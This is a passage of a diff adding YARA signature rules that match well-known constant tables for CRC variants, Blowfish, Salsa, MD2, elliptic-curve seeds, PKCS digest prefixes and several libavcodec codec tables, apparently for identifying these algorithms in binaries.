+	$a0 = { 4b4f1121ba183081c784f41fd17d0bac083d226737b1361e3581ad05fda2f6bc1e892cddb56d3c3a32140e46138d8aabe14773d45b0e71df5d1fe0553fb991d3f1f46c71a325988c10f66e80b1006348726a9f603b67f8ba4e114ef405c521154c5ca11c99e1efd8471b83b3cbf7e52443ad82f5690ca93bfaa61bb212a832b5b734f943bd22aea788fec6265e80c3e7be3eaf5e44617652a5724475bb3b96957f3fee8f964e7deb518c052d2a0bbc2bc2175f5c9a7b3889a70d8d0ceaccdd29cccd665834bb25e6b8391090f651356f52987c9e0c16c1cd8e372d3c2fc6ebbd6e5da3e3b0e272395f68573845411786067f65f861778b4081ab2e6514c8f0f9a6b7b4ce4036eaecbf62b00aecfd5e02045449a6b20afd282166d2730d13a86389508756d51a75302d653f7a3cdbdbc380c9df4f3d5812d953fbb1f3c0f185c07a3c3d7e68646410857607a01d12622e97f33466db4c99176469607c566e043d79ef1edb2c05898dc9578e25cd38010146e043777d1cc7a96552b83720192608b97500c5ed296b44368648b462995cd582731400f9aebd8b3844c0c77c2de79433a1a7708ae528c25a2be8121f8f4a072b5ed7ca937eb5646fda7e11e49b5d6cb4b3244e18aa53a43a0613344d6067a383ba58689bdf4dfe7449f261709f8450cad133cbde941c3ff52ae484781d77ed7e4395f0ae103b59922331bb42ce50c8e6f08153e7d941d05028ed6bb3d2c49bad4d9c3ed201fb6ea45bd5beffcb7f4b579d7806f821bb5b59d592add0be0c31d4e3b6760107165a0fe939d249bcaafd55ffcfe52ec1f783f39a09a53eb4277219b55a5d024a06798c83b3f78642ba1dacacd9ea87d352c460931f45a05f97d71cecd42ce2fcc87bb60f94e267a34b0bfcdd40c90b150a27d3ee9e04582e29e94ac22b416ac4e1b8bccaa51a237af30eebc3b709c4a59d19284bc98ae9d41a936bfa201873b2d65111f9a2face09bff141a470aa25888f2277e754e8f7330d8e158eab16c5d68842c685a6f6e5b82fde09ea3a966dde15364fa919da26c0be9f9eed6f69f05555f2e06fc2859cd76d23af452a92efc74cb79d6b47328be408ee22401d0dee6c459d7587cb82e87468625cbdde879879427831afb94dc11e0f2f30e8fc2acf3261ef1a3023e1aa2f86cff202e24a8d08dcff764837c6a26374cc9f7c3e88949cc57ddd26a07fc39efab0c8f879a1dce67bb9f4b0a435912c9ae0d85603e4953a9bbffb8290d60aebcd5f16206a9a6c787a14d9a0f16a29bf4f748f8bce910e5a9354ab038cb11b8ad11be327ff490053da2090cf51dcda92fe6d0390ca47a8958097a9dc5baf3931e3c1840446b663d069fbd74602997124ecd10791e613485918fcd635d04cdf96ac3366f2d303247056aea1a7b2a827d8cc9c17b6e9987bf5590ffe97f5575471d8a2 }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0x191b3141___32_lil_1024_
+{
+strings:
+	$a0 = { 0000000041311b1982623632c3532d2b04c56c6445f4777d86a75a56c796414f088ad9c849bbc2d18ae8effacbd9f4e30c4fb5ac4d7eaeb58e2d839ecf1c98875112c24a1023d953d370f4789241ef6155d7ae2e14e6b537d7b5981c9684830559981b8218a9009bdbfa2db09acb36a95d5d77e61c6c6cffdf3f41d49e0e5acda2248495e3159f8c2046b2a76177a9bea6e1e8f1e7d0f3e82483dec365b2c5daaaae5d5deb9f464428cc6b6f69fd7076ae6b3139ef5a2a202c09070b6d381c12f33646dfb2075dc6715470ed30656bf4f7f32abbb6c231a275911c8934a00790fbbc9f17ba8d840e79dea92538efb23cff79f373be48e86a7d1bc5413c2ade58054f79f0447e62e9872d4fc2c61c54db018a159440bb0e8d83e823a6c2d938bf0dc5a0384cf4bb218fa7960ace968d130900cc5c4831d7458b62fa6eca53e177545dbbba156ca0a3d63f8d88970e96915098d7de11a9ccc7d2fae1ec93cbfaf55cd762721de6796bdeb554409f844f5958120e161923150fda7038249b41233da76bfd65e65ae67c2509cb576438d04ea3ae9101e29f8a1821cca73360fdbc2aafe124adeed03fb42d83129f6cb20986ab2448c9ea1553d029467efb687765e2f6793f2fb7482436741b091d352a1204f2bc534bb38d485270de657931ef7e60fef3e6e7bfc2fdfe7c91d0d53da0cbccfa368a83bb07919a7854bcb13965a7a84b98833b0aa99822c9fab50988cbae104f5def5f0e6cf446cd3fd96d8c0ec27443125af3022341eac1706cc1804177d847d7369706e62d8ec5b500a584841bbc1a8a41715bbb5a6898e87743d9d96c5a1e4f2d155f7e360c9c2d1b27dd1c003e120098b9533183a09062ae8bd153b59216c5f4dd57f4efc494a7c2efd596d9f6e9bc07aea88d1cb76bde319c2aef2a85ed796bcaac4870d36f1b5df82e2a46e1e136de66a007c57f6354e8542265f34de5f3b202a4c2a91b6791843026a09f29b8aec5e4f99fdefd3accf3d67bfde8cfbc6ba980fd5ab2993e099fb27f3884abb0241c2cf115073532462a1e73773107b4e17048f5d06b513683467a77b25d634ed7facb0fe6e1d2ccb5ccf98d84d7e04a1296af0b238db6c870a09d8941bb84465d2303076c381ac43f1531850e0e2842984f6703a9547ec0fa795581cb624c1fc538815ef423989da70eb3dc9615aa1b0054e55a314ffc996262d7d85379ce174fe149567efa50952dd77bd41ccc62138a8d2d52bb963491e8bb1fd0d9a006ecf37e5eadc265476e91486c2fa05375e836123aa90709236a5424082b653f11e479a796a548bc8f661b91a4272a8abde0bccbf2a18dd0eb62defdc023efe6d9bde1bc14fcd0a70d3f838a267eb2913fb924d070f815cb693b46e6427a77fd5bb56b65dcf45a7ec5370953ee763848f7b1ae09b8f09f12a133cc3f8a72fd2493 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_delta_table__16_lil_64_
+{
+strings:
+	$a0 = { 33D234DB1AE16FE5C4E88FEB09EE39F04DF22AF4DCF586F712F999FA08FC6CFDB7FEFFFF5101B8023D04E805AA078109980BF10DDA109F14DE19DA1F5C27AF32 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4599__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000ca16942d5e3b285be24dbc76766050b69aa0c49b0e8d78edb2fbecc026d6e55f2f497172bb64cd0407125929933fb5e97fff21c4ebd29db257a4099fc389cabf00a95e929484e2e428f276c9bcdf9a09501f0e24c432b2527844267fec692fe0e5f6bbcd71db07bbcdad939659807f56b540eb7b216d570d9d1bc3200936d14c1b5a45618f77f91733016d3aa72c81fa4bec15d7dfc1a9a163b73d8cf79a3413fe05a03e6a281c48d65e8865427364a5aeb3f0883a9e4cfe86e8d8d312c51bf3d1e58fde45c833a8f9bea7856d934b458153df68157e631ea908f7333d25feac34ba6a81a097d6f71ce142da88ccae1a640c3a37f02186414c57126cd87aa299688f36b4fca28ac240d41eefd4f9f22f38396602ac14da7410624e59844f47c68dd0d3eb19fd6f9da58bfbb031a61770dd66835d494b3f2bf53dab0661106826a230fc0b361d407d8a6bd4501e463890f286acbd66ab10cbdadd84e64ef08d79476f1954d342a5226f34310ffb19ddcf17d949e283f4f5943f8261b9abaf73d5b9c3e7f82dee5b8e9198cfa305b52363e975b74e7d580b38c12e9f155503968a5c9c02a7c8b1bed174c72afce0eac63c0c2a52119807ee6724717a4ab05cb96a737c2d47e75191315b27051ccf0ae9dc23ca7df1b7e7c1870b9155aa9fbc5c359623c818020e746ebe78e0432a550c83c69598ae52b824d8eeceb0f57ae3 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_113R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 10c0fb15760860def1eef4d696e676875615175d }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_SHA512__8_byt_19_
+{
+strings:
+	$a0 = { 3051300d060960864801650304020305000440 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_6__16_lil_16_
+{
+strings:
+	$a0 = { 50b525c880d997e983f852071118182e }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks3_table__32_big_1024_
+{
+strings:
+	$a0 = { 3a39ce37d3faf5cfabc277375ac52d1b5cb0679e4fa33742d382274099bc9bbed5118e9dbf0f7315d62d1c7ec700c47bb78c1b6b21a19045b26eb1be6a366eb45748ab2fbc946e79c6a376d26549c2c8530ff8ee468dde7dd5730a1d4cd04dc62939bbdba9ba4650ac9526e8be5ee304a1fad5f06a2d519a63ef8ce29a86ee22c089c2b843242ef6a51e03aa9cf2d0a483c061ba9be96a4d8fe51550ba645bd62826a2f9a73a3ae14ba99586ef5562e9c72fefd3f752f7da3f046f6977fa0a5980e4a91587b086019b09e6ad3b3ee593e990fd5a9e34d7972cf0b7d9022b8b5196d5ac3a017da67dd1cf3ed67c7d2d281f9f25cfadf2b89b5ad6b4725a88f54ce029ac71e019a5e647b0acfded93fa9be8d3c48d283b57ccf8d5662979132e28785f0191ed756055f7960e44e3d35e8c15056dd488f46dba03a161250564f0bdc3eb9e153c9057a297271aeca93a072a1b3f6d9b1e6321f5f59c66fb26dcf3197533d928b155fdf5035634828aba3cbb28517711c20ad9f8abcc5167ccad925f4de817513830dc8e379d58629320f991ea7a90c2fb3e7bce5121ce64774fbe32a8b6e37ec3293d4648de53696413e680a2ae0810dd6db22469852dfd09072166b39a460a6445c0dd586cdecf1c20c8ae5bbef7dd1b588d40ccd2017f6bb4e3bbdda26a7e3a59ff453e350a44bcb4cdd572eacea8fa6484bb8d6612aebf3c6f47d29be463542f5d9eaec2771bf64e6370740e0d8de75b1357f8721671af537d5d4040cb084eb4e2cc34d2466a0115af84e1b0042895983a1d06b89fb4ce6ea0486f3f3b823520ab82011a1d4b277227f8611560b1e7933fdcbb3a792b344525bda08839e151ce794b2f32c9b7a01fbac9e01cc87ebcc7d1f6cf0111c3a1e8aac71a908749d44fbd9ad0dadecbd50ada380339c32ac69136678df9317ce0b12b4ff79e59b743f5bb3af2d519ff27d9459cbf97222c15e6fc2a0f91fc719b941525fae59361ceb69cebc2a8645912baa8d1b6c1075ee3056a0c10d25065cb03a442e0ec6e0e1698db3b4c98a0be3278e9649f1f9532e0d392dfd3a0342b8971f21e1b0a74414ba3348cc5be7120c37632d8df359f8d9b992f2ee60b6f470fe3f11de54cda541edad891ce6279cfcd3e7e6f1618b166fd2c1d05848fd2c5f6fb2299f523f357a632762393a8353156cccd02acf081625a75ebb56e16369788d273ccde96629281b949d04c50901b71c65614e6c6c7bd327a140a45e1d006c3f27b9ac9aa53fd62a80f00bb25bfe235bdd2f671126905b2040222b6cbcf7ccd769c2b53113ec01640e3d338abbd602547adf0ba38209cf746ce7677afa1c52075606085cbfe4e8ae88dd87aaaf9b04cf9aa7e1948c25c02fb8a8c01c36ae4d6ebe1f990d4f869a65cdea03f09252dc208e69fb74e6132ce77e25b578fdfe33ac372e6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_CC__flt32___32_lil_72_
+{
+strings:
+	$a0 = { 00008047abaaaa46cdcc4c4625491246398ee3458988884508210445200882440402014480808043214000430d208042f90f0042fd07804119040041a3018040a30100400000803f }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_index_table__32_lil_64_
+{
+strings:
+	$a0 = { e6000000e6000000e6000000e600000033010000990100000002000066020000e6000000e6000000e6000000e600000033010000990100000002000066020000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale3__flt32___32_big_28_
+{
+strings:
+	$a0 = { 3f7b35273f6fdf133f603d3e3f3504f33ef701123eb2dc253e4535a7 }
+
+condition:
+	$a0
+}
+
+	
+rule SALSA__32_big_AND_
+{
+strings:
+	$a0 = { 61707865[0-20]3120646e[0-20]3320646e[0-20]79622d36[0-20]79622d32[0-20]6b206574 }
+
+condition:
+	$a0
+}
+
+	
+rule MD2_MD2_INT_S__32_lil_1024_
+{
+strings:
+	$a0 = { 290000002e00000043000000c9000000a2000000d80000007c000000010000003d0000003600000054000000a1000000ec000000f0000000060000001300000062000000a700000005000000f3000000c0000000c7000000730000008c00000098000000930000002b000000d9000000bc0000004c00000082000000ca0000001e0000009b000000570000003c000000fd000000d4000000e00000001600000067000000420000006f000000180000008a00000017000000e500000012000000be0000004e000000c4000000d6000000da0000009e000000de00000049000000a0000000fb000000f50000008e000000bb0000002f000000ee0000007a000000a900000068000000790000009100000015000000b2000000070000003f00000094000000c200000010000000890000000b000000220000005f00000021000000800000007f0000005d0000009a0000005a000000900000003200000027000000350000003e000000cc000000e7000000bf000000f70000009700000003000000ff0000001900000030000000b300000048000000a5000000b5000000d1000000d70000005e000000920000002a000000ac00000056000000aa000000c60000004f000000b800000038000000d200000096000000a40000007d000000b600000076000000fc0000006b000000e20000009c0000007400000004000000f1000000450000009d000000700000005900000064000000710000008700000020000000860000005b000000cf00000065000000e60000002d000000a8000000020000001b0000006000000025000000ad000000ae000000b0000000b9000000f60000001c00000046000000610000006900000034000000400000007e0000000f0000005500000047000000a300000023000000dd00000051000000af0000003a000000c30000005c000000f9000000ce000000ba000000c5000000ea000000260000002c000000530000000d0000006e00000085000000280000008400000009000000d3000000df000000cd000000f400000041000000810000004d000000520000006a000000dc00000037000000c80000006c000000c1000000ab000000fa00000024000000e10000007b000000080000000c000000bd000000b10000004a0000007800000088000000950000008b000000e300000063000000e80000006d000000e9000000cb000000d5000000fe0000003b000000000000001d00000039000000f2000000ef000000b70000000e0000006600000058000000d0000000e4000000a60000007700000072000000f8000000eb000000750000004b0000000a000000310000004400000050000000b40000008f000000ed0000001f0000001a000000db000000990000008d000000330000009f000000110000008300000014000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_GPixmap_dither_table__16_lil_512_
+{
+strings:
+	$a0 = { 0000c0003000f0000c00cc003c00fc000300c3003300f3000f00cf003f00ff0080004000b00070008c004c00bc007c0083004300b30073008f004f00bf007f002000e0001000d0002c00ec001c00dc002300e3001300d3002f00ef001f00df00a000600090005000ac006c009c005c00a300630093005300af006f009f005f000800c8003800f8000400c4003400f4000b00cb003b00fb000700c7003700f70088004800b800780084004400b40074008b004b00bb007b0087004700b70077002800e8001800d8002400e4001400d4002b00eb001b00db002700e7001700d700a800680098005800a400640094005400ab006b009b005b00a7006700970057000200c2003200f2000e00ce003e00fe000100c1003100f1000d00cd003d00fd0082004200b20072008e004e00be007e0081004100b10071008d004d00bd007d002200e2001200d2002e00ee001e00de002100e1001100d1002d00ed001d00dd00a200620092005200ae006e009e005e00a100610091005100ad006d009d005d000a00ca003a00fa000600c6003600f6000900c9003900f9000500c5003500f5008a004a00ba007a0086004600b600760089004900b900790085004500b50075002a00ea001a00da002600e6001600d6002900e9001900d9002500e5001500d500aa006a009a005a00a600660096005600a900690099005900a500650095005500 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_zigzag_direct__8_byt_64_
+{
+strings:
+	$a0 = { 000108100902030a11182019120b04050c131a21283029221b140d06070e151c232a313839322b241d160f171e252c333a3b342d261f272e353c3d362f373e3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_interleaved_ue_golomb_vlc_code__8_byt_256_
+{
+strings:
+	$a0 = { 0f1007071112080803030303030303031314090915160a0a0404040404040404010101010101010101010101010101010101010101010101010101010101010117180b0b191a0c0c05050505050505051b1c0d0d1d1e0e0e060606060606060602020202020202020202020202020202020202020202020202020202020202020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0xa001__16_big_refl_True_
+{
+strings:
+	$a0 = { 000097052e01b9045c02cb077203e506b8042f0196050100e4067303ca075d027003e7065e02c9072c01bb0402009505c8075f02e606710394050300ba042d01e0067703ce075902bc042b01920505005802cf077603e106040093052a01bd0490050700be042901cc075b02e20675032801bf04060091057403e3065a02cd07c0075702ee0679039c050b00b20425017803ef065602c1072401b3040a009d05b00427019e050900ec067b03c207550208009f052601b1045402c3077a03ed062001b7040e0099057c03eb065202c50798050f00b6042101c4075302ea067d035002c7077e03e9060c009b052201b504e8067f03c6075102b40423019a050d0080051700ae043901dc074b02f20665033801af04160081056403f3064a02dd07f0066703de074902ac043b01820515004802df076603f106140083053a01ad046003f7064e02d9073c01ab0412008505d8074f02f606610384051300aa043d01100087053e01a9044c02db076203f506a8043f0186051100f4066303da074d024002d7076e03f9061c008b053201a504f8066f03d6074102a40433018a051d003001a7041e0089056c03fb064202d50788051f00a6043101d4074302fa066d03a00437018e051900fc066b03d207450218008f053601a1044402d3076a03fd06d0074702fe0669038c051b00a20435016803ff064602d1073401a3041a008d05 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721_qtab__16_lil_14_
+{
+strings:
+	$a0 = { 84FF5000B200F6002C015D019001 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_lo0xC2DB2AA3__32_big_8188_
+{
+strings:
+	$a0 = { 00000000c2db2aa3e0d3302322081a80a4c3052366182f804410350086cb1fa32ce36f23ee384580cc305f000eeb75a388206a004afb40a368f35a23aa28708059c6de469b1df4e5b915ee657bcec4c6fd05db653fdef1c61dd6eb46df0dc1e57525b165b7fe9bc695f68146572dabe5d1e6b446133d9ee531358465f3eeaec6b38dbc8c7156962f535e8caf9185a60c174eb9afd595930cf79d898c3546a32f9f6ed3af5db5f90c7fbde38cbd66c92f3badd68cf976fc2fdb7ee6af19a5cc0cea4b62ca289048690a9852e9c843784a4e8867e98c534d4aae5b57ca6c807d69c6a80de90473274a267b3dcae4a01769626b08caa0b0226982b838e94063124a027e1c7dc0a536dee2ad2c5e207606fda6bd195e646633fd466e297d84b503de2e9d735eec4659fdce4e437d0c9569de8a5e767d48855cde6a8d465ea8566cfd5bb8c23b9963e898bb6bf21879b0d8bbff7bc7183da0edbb1fa8f73bdd73dd98775bad18b58087bb97889d3b5553b798d398a83b11438298334b9818f190b2bbb1f3a0f173288a52512090d293fbba711530a5d2d7eb8f71f5e395f13738bf529d10cfd25fcbe5717dc3fff1bf18d55239d3caf1fb08e052d900fad21bdbd071e8357eb72aee541408e64e94ca3d64374cf67b948e2d5137ac254bb76efe6114c4d61194060d3b37240521b7e6de0b14601514b7a2ce3e1480c62494421d0e3704fc38fac6271259e42f08d926f4227aa03f3dd962e4177a40ec0dfa82372759281f57d9eac47d7ac8cc67fa0a174d598cdc52fa4e0778596c0f62d9aed4487a5d3ae6bc9fe1cc1fbde9d69f7f32fc3cf9f9e39f3b22c93c192ad3bcdbf1f91f71d9899fb302a33c910ab9bc53d1931fd51a8cbc17c1a61f35c9bc9ff712963cb771847675aaaed557a2b45595799ef613b28155d169abf6f361b17631ba9bd59b92eb555949c1f67b41db76b99af1d53f51ee76fd8ac4d5df82de551d59f4f6eeb75a302c6c70930e646a13ccbf40b04a745f1388af75b0aaa76f30687c4593c2543513008f1fb022870530e05c2f9366973030a44c1a9386440013449f2ab006822487c4590e24e65114a4248a3e07a24121a4609a0b074292118780493b242a614ba4e8ba6107cab27b87086951248ea24e874c7964246e717ea4acaa54075f44fac19d9fd062bf97cae27d4ce041fb87ffe2395cd5411b54cfc1d98fe56273a795e2b17cbf419374a5c151af8f62d76490c115bfba6237b7a0e2f56c8a41b50f980b77d4b2a855dca8289707828b11cc9d28d317b78bf11fad0b33c487a899ecf7285b37dd8b793fc70bbbe4eda83d2ff20bfff4d8a8ddfcc2281f27e88becc9464d2e126cee0c1a766ecec15ccd480a436e8ad169cda8d9734d6a0259eec02a296e02f103cd20f9194de22233ee64e92c4da63206ee843a1c6e46e136cd09f871f4cb235b57e92b41d72bf06b74ad3b74d76fe05e744de844f48f336e57251b1ed7e7c03474c5c82ef40713045781d81bf443033157610b2bd7a3d00174503eafb292e58511b0ed9f917236b532f4fdaa9136268032142e9ab2d6f5b0117cddc091be06ea329c0ef0b25ed5da11d81ec5b21ac5ef1138cdf591fa16df32ba75cd7878aee7db5aa6fd5b987dd7f81eb6c85bdc6de2f8fe65f8783cbed2db9696a25b544d88f876459278b49eb8db3255a778f08e8ddbd286975b105dbdf8e3b3133e2168399d0360231dc1bb09be4770161d85ab3cbea7a3263e65780c9dcf507c1d0d8b56be2f834c3eed58669d6b93793ea948539d8b40491d499b63be0b866d89c95d472aeb555daa298e7709af4568aa6d9e42094f9658898d4d722a276502aae5be2809c7b63289056d182a83a60789417d2d2a637537aaa1ae1d095240b3cf909b996cb29383ec7048a94ff683b6ec34589c4f165086cfd48bac6c7ea3dcecbc78f64f9e70eccf5cabc66cda60d9cf18bbf36c3ab3e9ecf868c34fb80bd1057ad0fba658d8e1269a03cb851cc8d426de13fe85fc1be4053ec0cea694e8be2656339485743b8e05b6e0a4a6302bbb05f2f091a6d0f88b261223a185e1cd0f43231625e0011e3f60c3c515c3450e0a6087d520c3a5dd3a43670610e0cd2e60600ff54ac32dfd5043ef267ae069ed6543ab364fe0893e55604be57fc30d04490ecfdf63adedd7792d2f0c538ea9c74c2d6b1c668e49147c0e8bcf56ad21e7262de33c0c8ec134160e03ef3cad8524230e47ff09ad65f7132da72c398e54c297489619bdebb411a76b76ca8dc8f001926b32dab8c810d2a248d20988eb7821f86bbafad2c898f2c8485a29e2ebdce2fd481e39d7eb3c31cd6bfeeae7c8be89f5827c52df215e5ac5a19c81ef021a4af0a1d891da02fa99c0823842ea21926a9aa150b1b00272b9aa82b062802136a99f82f472b521d67aafa114a18502e74f2bc425940167079c1be7c5473144438c2ee781570444a35f1ec461843467cbac44e709776e442b7f74c4e9a45e676f6f41c4adb46b678fbc71e74d675b440f7a5573cda17fd0efa965502d724ff3abb9505069627af34b6a607389b14ad023993a50e14210f3c34a0a73019120d0875a3f73458115d067890f50a55225f356bc8b359467a196b66fbb1674b491b5f27f8e1630a4a4b512acbe35d07794967a5fe416b884ceb59a8cd4355857fe96de9ce1351c47cb963e4fd116fc94fbb5bcf7e9ff7e2cc35c5c24d9dc9efff37f1834ecdcdaefc67ff8e7dcff3a3cf65c901486dc52cfac7f70c7b6ffb21c9c5c34d783fff60ca95cd404b3dc16df997fe53137b927ea1d1a05e2079ac7392d3941f2329a83291839a12102b963fa281ac9d2589a0b097239290168b9ebda421a6d115db9afca771a8dc26d9a4f19473913f0e3e8d12bc94bf323d3cb31f8f968b733e6cb75e8cc6857e0d6e8953bfc4b3f138ccbfdc8a668dfc0bce81d1b964b9bd089e8590ba34b7b03b9cbb9d893684a363dae88ed170daae50d8d683e272eeef5388d2c2e122e0e2608aeccfd220d66d5528da40e782e860662ae44dd480dc21657ae00cd7d0d22c5678de01e4d2ea07d5f6462a675c740ae6f47827545e404be5a47c66570e4e46d6a6426b640c78c9e30474e451ae46c4d0064ae962ac7285d3564ea861fc7c88e05470a552fe4f9bb81223b60ab811968b101dbb39ba25d7884019fa3aea2bdabb4227f709e81d558ee011783c4a2358bde22f750f481719beb22b340c1819148db015393f1a2118eff95d355d536f15dcfb63386e515b54dfab67796d015559eca959745e0363d6d90b6ffb6ba15ddbea0951f658a3699ae95955b75bf36797da5b6bba68f15484821d38a930b70a89b11f06a403b53ec8b24f02e500e530c5814d3ce833e7064ab4ef0a670645384787ed346a35470c0684bd302b3617020bb7bf0e2605153a203431960d869ba42d0733a800b599906c0463ac41b6c99e613761924c85cba8ee02c3a4c3b06996e331c19ace836ba2a232919e8f803bacaf0193a082b3399fbc59d5f391eb7fc1b16ad7cd9cd87df5f06987c9dddb2dfbfd5a85f7d0e82fcd726f27c15fdd8df37f5c25ff52ee8fc73e5f75fb13eddfc9336c77c51ededdf170cdb12d5d7f1b1f7dfeb313504c192b3cfde317114f492531cee1291c7c4b13befb431f9349e92db3c841219e7aeb19f2cb1125df79bb17fff8131bd24ab924eca05548c112ff7ae1935776cc21fd4ea09007728d22ad40ada3054c8011af762296a77a0f240d482fa5a54402170f7c6ea6f54043145f726395f77e4e275d4a481679e665a4d3d445257bd86897d1e004262bdc299481ee091529e224a783d886208bd4ab9221e68b1389eaa6a123d2ca10d9eee7a273dcc723dbd0ea9171efd47b9d83f9c937b1d9489fbdf4fa3585984bcfb9b5f9658b9578cd87b8ca67bd1a4d6fb137ffc583177e6d8f3accc7b7567d3d8b7bcf97b95b4e3fb576fc9581572c76fd7a9edccf5a1f74c377addefb1b1c24c736ae8ef5162f26f93b9d8cc3991a84cfb4a82efd942986f1b99b2cc9d52ad6f5f8987cc7d819d4cbf5ab7ef4cb419298e6f338aac67290a6ebc03a9e8771c0a2aac36a908a42c29ca7f068a6057760aa28c5ca980844629425f6c8ac4947329064f598a2447430ae69c69a9a6ff7be364245140462c4bc084f76163023c7ec0c0e75463e2ef4ee3203464408a1c14c048c73e636acf24e3a8140e402edf11e3ec043b40ce0c21c00cd70b63ff39a5a53de28f061fea9586dd31bf255bfaa08699218a25bb2990a579f2ba06d3daca861101e0253309faa5f1d2d0067719cfa5b5c2e50697caff865511d5251a08921cd8d3b8bffadba23f3800889cbecb973f7c10bd9c5e18a71c9cc38dbf36ebfd3ff430d79cd638cd1c14e3e7bf9228f81c50f3d2bf72fbc83fb020e29c43ce4c5a811566f9a31d7c7961c656dae70d497925d663da07de795ac50553f96f2d2379adf609da8ffe135a4d2539f9cbee265a09350cf92b3d1679e9e63cdaa9852e906b5e043349561eb38b8d34100d462bb3cf9d0110ed951b902f4e3133856641b347bd6b1065b57190a76e5b3321a54490e37e6e33c17674b303ad5e10f043f0d63298da751090c0f5d24bea565480f5f5965bdf56b453c5d67688ef75dca09ff51e7bb5563c73afd6fea8857578639ad6bab8b07598b0aaf55a6b805618768e61daada4c2f8a5be423a7e94e1bcb58b427e6ea1e15c66bb619ebd91c23495e142f64ecbe1d446d161169dfbc29056e461528dcec27085d442b25efee141b05027836b7a84a163600463b84aa7e573550427a87fa705a06527c77b4f846d533f04af8815a78d800f274f5b2584c9903a270b4b108429430a04eb9820a7abfb32ed6920184e4b2802ce89f3286d0f3837cecde31d6defeb07ed2d302d4e87185dce45c3776d67cb6deda510474e23db58ede100724ec30868ce01d3426df23decab30e6c60812eedc88d035f62b56fee9889425c32bb62dd9ab74f6f308dede83881c05a92b3e0db3abfcd699087a1d86abb8c6ac089aceb68858159c2b1ef4aae6dc2f8045fe279ac53cfcb066ba37afc578ec85665ae49fe6983fb5453217c5c5f0ccef66d2c4f5e6101fdf4596d4c0e6540fea457607f0c5b4dcda66473274a085e95e03a7e14483653a6e20e3f17183212a5b20032241a0c1f96b036bd11b83a90a31208b022ba049d90103cf121ea00dc934032fc12e83ed1a0420ad79166a6fa23cc94daa26498f710cea09ba1349cb6139eae969236a2bb209c9819a7949434153ea6149496aa39263c925597c6ae78256c9c58a4c49075166eaf4bfc82c3664e28f146cf80fd6b7d2ac507ccd0f92a7e7acb0affd2c7274d78fd85ca70f1a878dac388f972cfa54bd8f7c9fa22cbe44888f9c4c920f5e97b8ac1c8ab69bde519c38fc5986b83e82ac1bb849b3b87a92991b589a839b9a41a9383069d9b8f2b2f31bd0bae99b1261c33894aadc9b5671f6387479ecb8b6a2c61b454c68dd8797427ea59f58fe6744725de18f6dfe2354475d015c5dddc387777e69af07feab742d5d897c37dd4ba71d7ecd6c02dd0fb7287e2dbf32feef64185daf070a176ddc20b44fd43a348d0f10970bc40f34c91f2597eb173f1729cc15b483e46534413f4f9763375517a1ec7fb427276017e5fc4ab4c7f45034052f7a97f6c1d451341afef21612e472d4c9ced15202d17290d9fbd1b2d1e151700acbf2da22bb7218f991d13af18b51f82aa1f27ee1be51bc3a94f29e328e725ce9a4d127e1c7d0e53aed73c732f7f305e9dd508322c2f341f9e85063f1f2d0a12ad8730b02a8f3c9d98250ebd198d0290ab273afc1add06d1a87734f129df38dc9b7507e271996bcfc33359ef429b55c2f0316dae41cb5183f36163a372c96f8ec063552c476b5901f5c16b217469670cc6c35f607739634dc593516d443b5d40f6916946c7b5c56b751ff74bf4b7fb66461dc30af7e7ff27454dcd07c4e5c12a764ffb88f147f7a543edc585c245c9a870eff1c4c115cde973bfffc9f217f3e440bdccdaaa51a0f718fb92d799539efa2bf9a6969a039abb28a9a89ba901a4b61bab9e149ca392392e09a019afa1ac341d0b9458acf1a8751e5b9a559ff396782d59a259fdbade744f10ec54ceb8e0797c12d815cde8e4387f42d618feeada354c40e097cb48ecba79e2de9af84ad2b74ae0eadbfb1ad6f649b0e4d6c818e8fb7ab2d7c5905ebbe822f489c8a35c85e511f6bd89a00c81a412a6b384930ebfa921a4850ba6ac89261406bb0695aeb72b27048f4796feb36a2454814aa5fc8d671756b9612672154c94d8276c15702b41a7da132d16202f00a48a1d202522110d97882baf10802782a22a15a22382198f912821e320d21dce92782fee13d023c3a17a1cfd4b9670d0f93c42f078944eddca3e76b17bc44a9cc96e78bc48c67491fa6c4e337d64421ecfce703e4e667c13fccc447f4d367852ff9c4a727e34465fcc9e7231dff2ae1c6d589c3cecf090115e5aa87defa094505d0aa670dca2aa5d6e0890ffe9009cd25baaaef2da02a2df68a89ab3d952a69e6bf894beea50989358faa7adb216cb8000bcf9a08114f58d33becde18244f1cc30eec3ecb146cfc103ecf56384e4f94e364ecb6eb7e6c743054cff2fb4b6c302061cf12287b4fd0f351ec909043a6524b690570437385b298592634534685f6886c26d48076a6165b5c05bc732c857ea806265ca01ca69e7b360518b029a6da6b0305f86319853ab83326c9569de00b8db7432985adc3eb5e87606d9598c3af4eb2608d46a8e04f9d8243e5b5f2c3276ed8600566c2e0c7bde8434176f7e083addd43a1a5c7c3637eed602163e357e3b8c9f4c1b0d374036bf9d785a0e674477bccd76573d657a7a8fcf40d808c74cf5ba6d7ed53bc572f8896f4a94389576b98a3f44990b9748b4b93d778a53d11ba7e17b298760d325aad2791dc6638321ebd12913cb50811fe6e22b254465232969d7891b4956211764e48b2f0855711325e7db210566732d28d4d9192ee5fdb50357578723d6ff8b0e6455b362d5af8f4f6705bd6fe6adb14254078be0d30f87cd61a5b5ede00db9c052a781ace35dbd8151f78fa1d05f838c62f5bcb28819d09f3a